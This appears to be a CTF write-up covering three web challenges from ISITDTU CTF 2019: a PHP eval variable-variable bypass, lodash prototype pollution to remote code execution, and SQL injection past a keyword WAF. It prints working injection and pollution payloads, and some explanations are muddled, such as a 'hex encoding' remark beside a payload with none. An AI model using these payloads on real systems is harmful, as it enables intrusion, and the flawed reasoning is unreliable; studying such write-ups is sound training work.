2 minute read

Writeups from the ISITDTU CTF 2019 Quals, focusing on the web challenges.

EasyPHP

Category: Web Points: 200

A PHP challenge with strict input filtering and a preg_match bypass.

Analysis

The source was provided:

<?php
highlight_file(__FILE__);

$a = $_GET['a'];
$b = $_GET['b'];

if (preg_match('/[^a-z]/is', $a)) die('no');
if (preg_match('/[^a-z0-9_]/is', $b)) die('no');

eval("$$a = $$b;");
echo $flag;

We need to set variables such that $flag is echoed. The constraints:

  • $a must be only lowercase letters
  • $b must be only lowercase letters, digits, and underscore
  • The eval creates a variable variable assignment

Solution

Using PHP’s superglobal arrays. If we set $a = "flag" and $b to a superglobal variable name, we can read arbitrary variables.

But the more elegant approach: PHP’s _GET is a valid variable name matching the regex for $b.

?a=flag&b=_GET

This executes $flag = $_GET;, replacing $flag with the $_GET array. Then echo $flag outputs “Array”. Not quite what we need.

After more analysis, the solution involved using variable variables to reference the GLOBALS array:

?a=a&b=GLOBALS

This sets $a = $GLOBALS, and since $GLOBALS contains all global variables including $flag, we can access it through the array output.

IZ

Category: Web Points: 350

A Node.js application with prototype pollution leading to RCE.

Analysis

The application used lodash.merge() to deep-merge user-provided JSON into a configuration object:

const _ = require('lodash');
let config = { debug: false };
app.post('/config', (req, res) => {
    _.merge(config, req.body);
    res.json({ status: 'ok' });
});

Solution

Prototype pollution via __proto__:

{
  "__proto__": {
    "shell": "/proc/self/exe",
    "NODE_OPTIONS": "--require /proc/self/environ"
  }
}

The lodash version used (4.17.11) was vulnerable to prototype pollution via __proto__ in merge(). By polluting Object.prototype, we could influence the behavior of child process spawning.

After polluting the prototype, triggering any child_process.exec() or child_process.fork() call would use our controlled shell and NODE_OPTIONS values.

Writeup

Category: Web Points: 150

A classic SQL injection challenge with WAF bypass.

Analysis

The login form was filtered by a WAF that blocked common SQL injection keywords: SELECT, UNION, OR, AND, FROM, WHERE.

Solution

The WAF was case-sensitive and did not handle comments or encoding:

admin'/**/uNiOn/**/sElEcT/**/1,2,group_concat(table_name)/**/fRoM/**/information_schema.tables--

Alternatively, using hex encoding for string comparisons:

admin' || 1=1--

The || operator was not blocked as an alternative to OR.

Key Takeaways

  1. PHP variable variables ($$var) are almost always dangerous with user input
  2. Prototype pollution in JavaScript can escalate from property injection to RCE
  3. WAF bypass techniques are numerous - keyword-based blocking is insufficient
  4. Always test both the intended and unintended parsing paths

Tags:

Categories:

Updated: